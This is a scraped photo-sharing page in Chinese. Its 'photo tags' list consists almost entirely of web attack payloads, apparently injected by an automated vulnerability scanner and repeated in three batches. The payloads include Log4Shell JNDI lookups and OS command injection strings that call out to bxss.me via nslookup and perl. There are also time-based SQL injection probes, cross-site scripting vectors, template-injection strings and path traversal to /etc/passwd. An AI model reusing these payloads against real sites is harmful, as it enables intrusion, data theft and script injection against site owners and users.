×
照片标签：
- e
- 1
- ${j${::-n}di:dns${::-:}//hitqujhnglnzp0de38${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-111599..fe6f3${::-.}1${::-.}bxss.me}}
- response.write(9501503*9914302)
- '+response.write(9501503*9914302)+'
- "+response.write(9501503*9914302)+"
- Fklz4bQ1
- echo vmzdni$()\ psdwqt\nz^xyu||a #' &echo vmzdni$()\ psdwqt\nz^xyu||a #|" &echo vmzdni$()\ psdwqt\nz^xyu||a #
- &echo bscdhx$()\ jeibrm\nz^xyu||a #' &echo bscdhx$()\ jeibrm\nz^xyu||a #|" &echo bscdhx$()\ jeibrm\nz^xyu||a #
- |echo jxrhpr$()\ wyopqd\nz^xyu||a #' |echo jxrhpr$()\ wyopqd\nz^xyu||a #|" |echo jxrhpr$()\ wyopqd\nz^xyu||a #
- (nslookup hitamvhbeykea6b424.bxss.me||perl -e "gethostbyname('hitamvhbeykea6b424.bxss.me')")
- $(nslookup hitxosejileoe6d7f6.bxss.me||perl -e "gethostbyname('hitxosejileoe6d7f6.bxss.me')")
- &(nslookup hitkpzyekewnl684f3.bxss.me||perl -e "gethostbyname('hitkpzyekewnl684f3.bxss.me')")&'\"`0&(nslookup hitkpzyekewnl684f3.bxss.me||perl -e "gethostbyname('hitkpzyekewnl684f3.bxss.me')")&`'
- ../../../../../../../../../../../../../../etc/passwd
- |(nslookup hitgjsrcsvchj68b52.bxss.me||perl -e "gethostbyname('hitgjsrcsvchj68b52.bxss.me')")
- `(nslookup hitzbdjmaxcvo7eab8.bxss.me||perl -e "gethostbyname('hitzbdjmaxcvo7eab8.bxss.me')")`
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- 1<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- ${10000074+9999476}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- )
- 1some_inexistent_file_with_long_name .jpg
- 1&n973494=v918633
- !(()&&!|*|*|
- Http://bxss.me/t/fit.txt
- ^(#$!@#$)(()))******
- '"()
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- '.gethostbyname(lc('hithj'.'tkldhvvtf9df7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(68).chr(121).chr(76).'
- ".gethostbyname(lc("hitkf"."btzifzueeb347.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(84).chr(122).chr(79)."
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '
- /xfs.bxss.me
- bibs
- "+"A".concat(70-3).concat(22*4).concat(104).concat(82).concat(99).concat(72)+(require"socket" Socket.gethostbyname("hitzq"+"jjdcnjfoc97a3.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(104).concat(75).concat(107).concat(79)+(require'socket' Socket.gethostbyname('hitxs'+'erdojgfo8bec8.bxss.me.')[3].to_s)+'
- "
- bibs/.
- '"
- ${@print(md5(31337))}
- <!--
- ${@print(md5(31337))}\
- Z8itgYy0
- -1 OR 2+258-258-1=0+0+0+1 --
- '.print(md5(31337)).'
- -1 OR 2+222-222-1=0+0+0+1
- -1' OR 2+372-372-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >KiOg(9551)</ScRiPt>
- -1' OR 2+539-539-1=0+0+0+1 or 'aXDEsqv2'='
- '"()&%<acx><ScRiPt >KiOg(9164)</ScRiPt>
- -1" OR 2+560-560-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 19983793
- acu7453＜s1﹥s2ʺs3ʹuca7453
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- acux7171z1z2abcxuca7171
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- <%={{={@{#{${acx}}%>
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- <th:t="${acx}#foreach
- -1
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- -1)
- 1 waitfor delay '0:0:15' --
- acx{{98991*97996}}xca
- xJZ7k69S'
- acx[[${98991*97996}]]xca
- -5 OR 468=(SELECT 468 FROM PG_SLEEP(15))--
- -5) OR 493=(SELECT 493 FROM PG_SLEEP(15))--
- acx__${98991*97996}__::.x
- -1)) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- n4ICHXdo' OR 250=(SELECT 250 FROM PG_SLEEP(15))--
- acu1214＜s1﹥s2ʺs3ʹuca1214
- iOxuE4OV') OR 447=(SELECT 447 FROM PG_SLEEP(15))--
- acux8657z1z2abcxuca8657
- lvhj1OvC')) OR 141=(SELECT 141 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@EoB07
- acu6185＜s1﹥s2ʺs3ʹuca6185
- acux1556z1z2abcxuca1556
- 1"onmouseover=KiOg(97222)"
- 1" uxN7=KiOg([!+!]) MLj="
- 1\u0022onmouseover=KiOg(97413)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4B%69%4F%67%28%39%31%35%36%34%29%22
- "onmouseover=KiOg(92965)//
- 1"sTYLe='acu:Expre/**/SSion(KiOg(9495))'bad="
- 1"><script>KiOg(9473)</script>
- 1<ScRiPt >KiOg(9195)</ScRiPt>
- 1<WNZHAE>VBYCG[!+!]</WNZHAE>
- 1<script>KiOg(9105)</script>
- 1<ScR<ScRiPt>IpT>KiOg(9421)</sCr<ScRiPt>IpT>
- 1<ScRiPt >KiOg(9008)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9458></ScRiPt>
- 1< ScRiPt >KiOg(9546)</ScRiPt>
- 1<svg onload=KiOg(9593)
- 1<isindex type=image src=1 onerror=KiOg(9714)>
- 1<iframe src='data:text/html
- 1<body onload=KiOg(9046)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=KiOg(9150)>
- 1<img src=xyz OnErRor=KiOg(9655)>
- 1<img/src=">" onerror=alert(9960)>
- %31%3C%53%63%52%69%50%74%20%3E%4B%69%4F%67%289796%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\KiOg(9411)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=KiOg(93981) //>
- 1<input autofocus onfocus=KiOg(9741)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(KiOg(9552))}
- 1ooq1A <ScRiPt >KiOg(9517)</ScRiPt>
- 1<W6PPSB>GK1UN[!+!]</W6PPSB>
- 1<ifRAme sRc=9660.com></IfRamE>
- 1<aZXwuhK x=9026>
- 1<img sRc='http://attacker-9228/log.php?
- 1<aEgc8di<
- 1CmPaSTPseO
- ${j${::-n}di:dns${::-:}//hittlaqaoicblb55a6${::-.}bxss.me}zzzz
- response.write(9078405*9920079)
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-661619..fe6f3${::-.}1${::-.}bxss.me}}
- '+response.write(9078405*9920079)+'
- "+response.write(9078405*9920079)+"
- oBd8eamY
- bLmM6EjS
- -1 OR 2+367-367-1=0+0+0+1 --
- -1 OR 2+905-905-1=0+0+0+1
- echo lohbcj$()\ awmzgv\nz^xyu||a #' &echo lohbcj$()\ awmzgv\nz^xyu||a #|" &echo lohbcj$()\ awmzgv\nz^xyu||a #
- -1' OR 2+782-782-1=0+0+0+1 --
- &echo xibdky$()\ xcrzkf\nz^xyu||a #' &echo xibdky$()\ xcrzkf\nz^xyu||a #|" &echo xibdky$()\ xcrzkf\nz^xyu||a #
- -1' OR 2+197-197-1=0+0+0+1 or 'SGk9rmfW'='
- |echo bhqlfd$()\ pujtet\nz^xyu||a #' |echo bhqlfd$()\ pujtet\nz^xyu||a #|" |echo bhqlfd$()\ pujtet\nz^xyu||a #
- -1" OR 2+136-136-1=0+0+0+1 --
- (nslookup hitgihgganltx67aa7.bxss.me||perl -e "gethostbyname('hitgihgganltx67aa7.bxss.me')")
- $(nslookup hitrltundhyko491a4.bxss.me||perl -e "gethostbyname('hitrltundhyko491a4.bxss.me')")
- &(nslookup hitplvzgnafgk3a871.bxss.me||perl -e "gethostbyname('hitplvzgnafgk3a871.bxss.me')")&'\"`0&(nslookup hitplvzgnafgk3a871.bxss.me||perl -e "gethostbyname('hitplvzgnafgk3a871.bxss.me')")&`'
- |(nslookup hitlnjyhimyge89da6.bxss.me||perl -e "gethostbyname('hitlnjyhimyge89da6.bxss.me')")
- `(nslookup hitiqctwycltc69402.bxss.me||perl -e "gethostbyname('hitiqctwycltc69402.bxss.me')")`
- YNH5D9vw'
- -5 OR 957=(SELECT 957 FROM PG_SLEEP(15))--
- -5) OR 168=(SELECT 168 FROM PG_SLEEP(15))--
- ${10000171+9999295}
- -1)) OR 812=(SELECT 812 FROM PG_SLEEP(15))--
- sTDsVvq7' OR 229=(SELECT 229 FROM PG_SLEEP(15))--
- lx0ggDXG') OR 93=(SELECT 93 FROM PG_SLEEP(15))--
- Q2zRBFB8')) OR 537=(SELECT 537 FROM PG_SLEEP(15))--
- 1&n959742=v986495
- @@dItlR
- '.gethostbyname(lc('hitxx'.'rqvgydxoad0a7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(69).chr(104).chr(65).'
- ".gethostbyname(lc("hitru"."emhnjwloa3f65.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(85).chr(112).chr(66)."
- "+"A".concat(70-3).concat(22*4).concat(97).concat(90).concat(115).concat(79)+(require"socket" Socket.gethostbyname("hitlo"+"rjdnmdsjf7023.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(84).concat(100).concat(83)+(require'socket' Socket.gethostbyname('hitnl'+'dhunmniu0e87c.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >aksf(9075)</ScRiPt>
- '"()&%<acx><ScRiPt >aksf(9474)</ScRiPt>
- 19716825
- acu4716＜s1﹥s2ʺs3ʹuca4716
- acux7186z1z2abcxuca7186
- acu9734＜s1﹥s2ʺs3ʹuca9734
- acux1765z1z2abcxuca1765
- acu7762＜s1﹥s2ʺs3ʹuca7762
- acux9286z1z2abcxuca9286
- 1"onmouseover=aksf(99772)"
- 1" xsGA=aksf([!+!]) xdk="
- 1\u0022onmouseover=aksf(98293)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%61%6B%73%66%28%39%33%35%32%34%29%22
- "onmouseover=aksf(91075)//
- 1"sTYLe='acu:Expre/**/SSion(aksf(9801))'bad="
- 1"><script>aksf(9009)</script>
- 1<ScRiPt >aksf(9248)</ScRiPt>
- 1<WUFC8R>JCYNH[!+!]</WUFC8R>
- 1<script>aksf(9941)</script>
- 1<ScR<ScRiPt>IpT>aksf(9599)</sCr<ScRiPt>IpT>
- 1<ScRiPt >aksf(9016)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9567></ScRiPt>
- 1< ScRiPt >aksf(9363)</ScRiPt>
- 1<svg onload=aksf(9636)
- 1<isindex type=image src=1 onerror=aksf(9178)>
- 1<body onload=aksf(9408)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=aksf(9974)>
- 1<img src=xyz OnErRor=aksf(9409)>
- 1<img/src=">" onerror=alert(9823)>
- %31%3C%53%63%52%69%50%74%20%3E%61%6B%73%66%289990%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\aksf(9707)\u003C/sCripT\u003E
- <img acu onmouseover=aksf(91411) //>
- 1<input autofocus onfocus=aksf(9609)>
- 1}body{acu:Expre/**/SSion(aksf(9586))}
- 1k5Vp1 <ScRiPt >aksf(9584)</ScRiPt>
- 1<W1LHYZ>2IMQV[!+!]</W1LHYZ>
- 1<ifRAme sRc=9147.com></IfRamE>
- 1<aXR7RND x=9076>
- 1<img sRc='http://attacker-9317/log.php?
- 1<aJSej7u<
- response.write(9068166*9820337)
- ${j${::-n}di:dns${::-:}//hitbfwimxgocmf170b${::-.}bxss.me}zzzz
- '+response.write(9068166*9820337)+'
- "+response.write(9068166*9820337)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-674065..fe6f3${::-.}1${::-.}bxss.me}}
- echo btiidf$()\ tmomdm\nz^xyu||a #' &echo btiidf$()\ tmomdm\nz^xyu||a #|" &echo btiidf$()\ tmomdm\nz^xyu||a #
- i1c2SjcC
- &echo qkemwk$()\ mwlfjt\nz^xyu||a #' &echo qkemwk$()\ mwlfjt\nz^xyu||a #|" &echo qkemwk$()\ mwlfjt\nz^xyu||a #
- |echo mswgjp$()\ zlwoyh\nz^xyu||a #' |echo mswgjp$()\ zlwoyh\nz^xyu||a #|" |echo mswgjp$()\ zlwoyh\nz^xyu||a #
- (nslookup hitbtsxsgioihd45d5.bxss.me||perl -e "gethostbyname('hitbtsxsgioihd45d5.bxss.me')")
- $(nslookup hitabmtlzhexba5b92.bxss.me||perl -e "gethostbyname('hitabmtlzhexba5b92.bxss.me')")
- &(nslookup hitzdqabajlst6a096.bxss.me||perl -e "gethostbyname('hitzdqabajlst6a096.bxss.me')")&'\"`0&(nslookup hitzdqabajlst6a096.bxss.me||perl -e "gethostbyname('hitzdqabajlst6a096.bxss.me')")&`'
- |(nslookup hitiqyehtwdmd85504.bxss.me||perl -e "gethostbyname('hitiqyehtwdmd85504.bxss.me')")
- ${9999750+9999522}
- `(nslookup hitcdnlpxohlkee6c5.bxss.me||perl -e "gethostbyname('hitcdnlpxohlkee6c5.bxss.me')")`
- 1&n944276=v949551
- '.gethostbyname(lc('hitqz'.'evritvgh20f3f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(90).chr(116).chr(78).'
- ".gethostbyname(lc("hitbx"."nadnzbjw4ea94.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(77).chr(115).chr(66)."
- snWenmLd
- -1 OR 2+591-591-1=0+0+0+1 --
- -1 OR 2+264-264-1=0+0+0+1
- "+"A".concat(70-3).concat(22*4).concat(118).concat(65).concat(119).concat(81)+(require"socket" Socket.gethostbyname("hitry"+"tuhqalsbab390.bxss.me.")[3].to_s)+"
- -1' OR 2+868-868-1=0+0+0+1 --
- '+'A'.concat(70-3).concat(22*4).concat(97).concat(66).concat(107).concat(76)+(require'socket' Socket.gethostbyname('hitfr'+'qgdxgmbs12085.bxss.me.')[3].to_s)+'
- -1' OR 2+960-960-1=0+0+0+1 or 'aIXuJj4C'='
- -1" OR 2+439-439-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >UIrV(9916)</ScRiPt>
- '"()&%<acx><ScRiPt >UIrV(9963)</ScRiPt>
- n2jV1Gun'
- -5 OR 89=(SELECT 89 FROM PG_SLEEP(15))--
- 19213306
- -5) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
- -1)) OR 88=(SELECT 88 FROM PG_SLEEP(15))--
- acu9237＜s1﹥s2ʺs3ʹuca9237
- DbMZ5VTV' OR 153=(SELECT 153 FROM PG_SLEEP(15))--
- x2RlcdAm') OR 767=(SELECT 767 FROM PG_SLEEP(15))--
- acux3555z1z2abcxuca3555
- fhIx8QI8')) OR 546=(SELECT 546 FROM PG_SLEEP(15))--
- @@9G9QX
- acu5295＜s1﹥s2ʺs3ʹuca5295
- acux6572z1z2abcxuca6572
- acu5830＜s1﹥s2ʺs3ʹuca5830
- acux1332z1z2abcxuca1332
- 1"onmouseover=UIrV(90462)"
- 1" WozF=UIrV([!+!]) y6s="
- 1\u0022onmouseover=UIrV(97533)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%55%49%72%56%28%39%31%37%38%34%29%22
- "onmouseover=UIrV(94545)//
- 1"sTYLe='acu:Expre/**/SSion(UIrV(9927))'bad="
- 1"><script>UIrV(9301)</script>
- 1<ScRiPt >UIrV(9869)</ScRiPt>
- 1<WZ73IT>68IYY[!+!]</WZ73IT>
- 1<script>UIrV(9768)</script>
- 1<ScR<ScRiPt>IpT>UIrV(9346)</sCr<ScRiPt>IpT>
- 1<ScRiPt >UIrV(9938)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9902></ScRiPt>
- 1< ScRiPt >UIrV(9691)</ScRiPt>
- 1<svg onload=UIrV(9502)
- 1<isindex type=image src=1 onerror=UIrV(9813)>
- 1<body onload=UIrV(9395)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=UIrV(9915)>
- 1<img src=xyz OnErRor=UIrV(9991)>
- 1<img/src=">" onerror=alert(9863)>
- %31%3C%53%63%52%69%50%74%20%3E%55%49%72%56%289251%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\UIrV(9515)\u003C/sCripT\u003E
- <img acu onmouseover=UIrV(94531) //>
- 1<input autofocus onfocus=UIrV(9667)>
- 1}body{acu:Expre/**/SSion(UIrV(9299))}
- 1x7V3m <ScRiPt >UIrV(9347)</ScRiPt>
- 1<W3A3ZL>MLS4X[!+!]</W3A3ZL>
- 1<ifRAme sRc=9209.com></IfRamE>
- 1<aooJX0C x=9511>
- 1<img sRc='http://attacker-9343/log.php?
- 1<a5m1nG4<
微信扫一扫, 保存到手机
